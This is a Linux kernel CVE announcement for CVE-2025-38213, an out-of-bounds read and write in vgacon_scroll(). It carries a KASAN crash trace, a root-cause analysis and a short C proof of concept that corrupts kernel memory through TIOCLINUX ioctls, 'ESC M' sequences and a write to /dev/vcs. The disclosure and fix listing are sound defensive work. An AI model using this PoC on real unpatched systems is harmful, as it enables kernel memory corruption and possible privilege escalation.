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Message-ID: <2025070422-CVE-2025-38213-c3e3@gregkh>
Date: Fri, 4 Jul 2025 15:37:42 +0200
From: Greg Kroah-Hartman <gregkh@...uxfoundation.org>
To: linux-cve-announce@...r.kernel.org
Cc: Greg Kroah-Hartman <gregkh@...nel.org>
Subject: CVE-2025-38213: vgacon: Add check for vc_origin address range in vgacon_scroll()
From: Greg Kroah-Hartman <gregkh@...nel.org>
Description
===========
In the Linux kernel, the following vulnerability has been resolved:
vgacon: Add check for vc_origin address range in vgacon_scroll()
Our in-house Syzkaller reported the following BUG (twice), which we
believed was the same issue with [1]:
==================================================================
BUG: KASAN: slab-out-of-bounds in vcs_scr_readw+0xc2/0xd0 drivers/tty/vt/vt.c:4740
Read of size 2 at addr ffff88800f5bef60 by task syz.7.2620/12393
...
Call Trace:
<TASK>
__dump_stack lib/dump_stack.c:88 [inline]
dump_stack_lvl+0x72/0xa0 lib/dump_stack.c:106
print_address_description.constprop.0+0x6b/0x3d0 mm/kasan/report.c:364
print_report+0xba/0x280 mm/kasan/report.c:475
kasan_report+0xa9/0xe0 mm/kasan/report.c:588
vcs_scr_readw+0xc2/0xd0 drivers/tty/vt/vt.c:4740
vcs_write_buf_noattr drivers/tty/vt/vc_screen.c:493 [inline]
vcs_write+0x586/0x840 drivers/tty/vt/vc_screen.c:690
vfs_write+0x219/0x960 fs/read_write.c:584
ksys_write+0x12e/0x260 fs/read_write.c:639
do_syscall_x64 arch/x86/entry/common.c:51 [inline]
do_syscall_64+0x59/0x110 arch/x86/entry/common.c:81
entry_SYSCALL_64_after_hwframe+0x78/0xe2
...
</TASK>
Allocated by task 5614:
kasan_save_stack+0x20/0x40 mm/kasan/common.c:45
kasan_set_track+0x25/0x30 mm/kasan/common.c:52
____kasan_kmalloc mm/kasan/common.c:374 [inline]
__kasan_kmalloc+0x8f/0xa0 mm/kasan/common.c:383
kasan_kmalloc include/linux/kasan.h:201 [inline]
__do_kmalloc_node mm/slab_common.c:1007 [inline]
__kmalloc+0x62/0x140 mm/slab_common.c:1020
kmalloc include/linux/slab.h:604 [inline]
kzalloc include/linux/slab.h:721 [inline]
vc_do_resize+0x235/0xf40 drivers/tty/vt/vt.c:1193
vgacon_adjust_height+0x2d4/0x350 drivers/video/console/vgacon.c:1007
vgacon_font_set+0x1f7/0x240 drivers/video/console/vgacon.c:1031
con_font_set drivers/tty/vt/vt.c:4628 [inline]
con_font_op+0x4da/0xa20 drivers/tty/vt/vt.c:4675
vt_k_ioctl+0xa10/0xb30 drivers/tty/vt/vt_ioctl.c:474
vt_ioctl+0x14c/0x1870 drivers/tty/vt/vt_ioctl.c:752
tty_ioctl+0x655/0x1510 drivers/tty/tty_io.c:2779
vfs_ioctl fs/ioctl.c:51 [inline]
__do_sys_ioctl fs/ioctl.c:871 [inline]
__se_sys_ioctl+0x12d/0x190 fs/ioctl.c:857
do_syscall_x64 arch/x86/entry/common.c:51 [inline]
do_syscall_64+0x59/0x110 arch/x86/entry/common.c:81
entry_SYSCALL_64_after_hwframe+0x78/0xe2
Last potentially related work creation:
kasan_save_stack+0x20/0x40 mm/kasan/common.c:45
__kasan_record_aux_stack+0x94/0xa0 mm/kasan/generic.c:492
__call_rcu_common.constprop.0+0xc3/0xa10 kernel/rcu/tree.c:2713
netlink_release+0x620/0xc20 net/netlink/af_netlink.c:802
__sock_release+0xb5/0x270 net/socket.c:663
sock_close+0x1e/0x30 net/socket.c:1425
__fput+0x408/0xab0 fs/file_table.c:384
__fput_sync+0x4c/0x60 fs/file_table.c:465
__do_sys_close fs/open.c:1580 [inline]
__se_sys_close+0x68/0xd0 fs/open.c:1565
do_syscall_x64 arch/x86/entry/common.c:51 [inline]
do_syscall_64+0x59/0x110 arch/x86/entry/common.c:81
entry_SYSCALL_64_after_hwframe+0x78/0xe2
Second to last potentially related work creation:
kasan_save_stack+0x20/0x40 mm/kasan/common.c:45
__kasan_record_aux_stack+0x94/0xa0 mm/kasan/generic.c:492
__call_rcu_common.constprop.0+0xc3/0xa10 kernel/rcu/tree.c:2713
netlink_release+0x620/0xc20 net/netlink/af_netlink.c:802
__sock_release+0xb5/0x270 net/socket.c:663
sock_close+0x1e/0x30 net/socket.c:1425
__fput+0x408/0xab0 fs/file_table.c:384
task_work_run+0x154/0x240 kernel/task_work.c:239
exit_task_work include/linux/task_work.h:45 [inline]
do_exit+0x8e5/0x1320 kernel/exit.c:874
do_group_exit+0xcd/0x280 kernel/exit.c:1023
get_signal+0x1675/0x1850 kernel/signal.c:2905
arch_do_signal_or_restart+0x80/0x3b0 arch/x86/kernel/signal.c:310
exit_to_user_mode_loop kernel/entry/common.c:111 [inline]
exit_to_user_mode_prepare include/linux/entry-common.h:328 [inline]
__syscall_exit_to_user_mode_work kernel/entry/common.c:207 [inline]
syscall_exit_to_user_mode+0x1b3/0x1e0 kernel/entry/common.c:218
do_syscall_64+0x66/0x110 arch/x86/entry/common.c:87
entry_SYSCALL_64_after_hwframe+0x78/0xe2
The buggy address belongs to the object at ffff88800f5be000
which belongs to the cache kmalloc-2k of size 2048
The buggy address is located 2656 bytes to the right of
allocated 1280-byte region [ffff88800f5be000, ffff88800f5be500)
...
Memory state around the buggy address:
ffff88800f5bee00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
ffff88800f5bee80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
>ffff88800f5bef00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
^
ffff88800f5bef80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
ffff88800f5bf000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
==================================================================
By analyzing the vmcore, we found that vc->vc_origin was somehow placed
one line prior to vc->vc_screenbuf when vc was in KD_TEXT mode, and
further writings to /dev/vcs caused out-of-bounds reads (and writes
right after) in vcs_write_buf_noattr().
Our further experiments show that in most cases, vc->vc_origin equals to
vga_vram_base when the console is in KD_TEXT mode, and it's around
vc->vc_screenbuf for the KD_GRAPHICS mode. But via triggerring a
TIOCL_SETVESABLANK ioctl beforehand, we can make vc->vc_origin be around
vc->vc_screenbuf while the console is in KD_TEXT mode, and then by
writing the special 'ESC M' control sequence to the tty certain times
(depends on the value of `vc->state.y - vc->vc_top`), we can eventually
move vc->vc_origin prior to vc->vc_screenbuf. Here's the PoC, tested on
QEMU:
```
int main() {
const int RI_NUM = 10; // should be greater than `vc->state.y - vc->vc_top`
int tty_fd, vcs_fd;
const char *tty_path = "/dev/tty0";
const char *vcs_path = "/dev/vcs";
const char escape_seq[] = "\x1bM"; // ESC + M
const char trigger_seq[] = "Let's trigger an OOB write.";
struct vt_sizes vt_size = { 70, 2 };
int blank = TIOCL_BLANKSCREEN;
tty_fd = open(tty_path, O_RDWR);
char vesa_mode[] = { TIOCL_SETVESABLANK, 1 };
ioctl(tty_fd, TIOCLINUX, vesa_mode);
ioctl(tty_fd, TIOCLINUX, &blank);
ioctl(tty_fd, VT_RESIZE, &vt_size);
for (int i = 0; i < RI_NUM; ++i)
write(tty_fd, escape_seq, sizeof(escape_seq) - 1);
vcs_fd = open(vcs_path, O_RDWR);
write(vcs_fd, trigger_seq, sizeof(trigger_seq));
close(vcs_fd);
close(tty_fd);
return 0;
}
```
To solve this problem, add an address range validation check in
vgacon_scroll(), ensuring vc->vc_origin never precedes vc_screenbuf.
The Linux kernel CVE team has assigned CVE-2025-38213 to this issue.
Affected and fixed versions
===========================
Issue introduced in 2.6.12 with commit 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 and fixed in 5.4.295 with commit e44532b1c358bfd2c4c7dc28fd01d47fef09ac70
Issue introduced in 2.6.12 with commit 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 and fixed in 5.10.239 with commit 843de5fbfe277e30fb333a7fa033b684c37829ac
Issue introduced in 2.6.12 with commit 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 and fixed in 5.15.186 with commit bf9c07864765864b968e59c7b72db91130d621ca
Issue introduced in 2.6.12 with commit 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 and fixed in 6.1.142 with commit 9928ba7de39793a1c7c77b8b9e6ecf6209110311
Issue introduced in 2.6.12 with commit 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 and fixed in 6.6.95 with commit 2f4040a5855a59e48296f1b5a7cc0fceea3195b1
Issue introduced in 2.6.12 with commit 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 and fixed in 6.12.35 with commit f20fd54af4e1077fdbca4dd98375a4d1d941e50d
Issue introduced in 2.6.12 with commit 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 and fixed in 6.15.4 with commit 499b77fa1416a85fee106e60b240e912bca10cb8
Issue introduced in 2.6.12 with commit 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 and fixed in 6.16-rc1 with commit 864f9963ec6b4b76d104d595ba28110b87158003
Please see https://www.kernel.org for a full list of currently supported
kernel versions by the kernel community.
Unaffected versions might change over time as fixes are backported to
older supported kernel versions. The official CVE entry at
https://cve.org/CVERecord/?id=CVE-2025-38213
will be updated if fixes are backported, please check that for the most
up to date information about this issue.
Affected files
==============
The file(s) affected by this issue are:
drivers/video/console/vgacon.c
Mitigation
==========
The Linux kernel CVE team recommends that you update to the latest
stable kernel version for this, and many other bugfixes. Individual
changes are never tested alone, but rather are part of a larger kernel
release. Cherry-picking individual commits is not recommended or
supported by the Linux kernel community at all. If however, updating to
the latest release is impossible, the individual changes to resolve this
issue can be found at these commits:
https://git.kernel.org/stable/c/e44532b1c358bfd2c4c7dc28fd01d47fef09ac70
https://git.kernel.org/stable/c/843de5fbfe277e30fb333a7fa033b684c37829ac
https://git.kernel.org/stable/c/bf9c07864765864b968e59c7b72db91130d621ca
https://git.kernel.org/stable/c/9928ba7de39793a1c7c77b8b9e6ecf6209110311
https://git.kernel.org/stable/c/2f4040a5855a59e48296f1b5a7cc0fceea3195b1
https://git.kernel.org/stable/c/f20fd54af4e1077fdbca4dd98375a4d1d941e50d
https://git.kernel.org/stable/c/499b77fa1416a85fee106e60b240e912bca10cb8
https://git.kernel.org/stable/c/864f9963ec6b4b76d104d595ba28110b87158003
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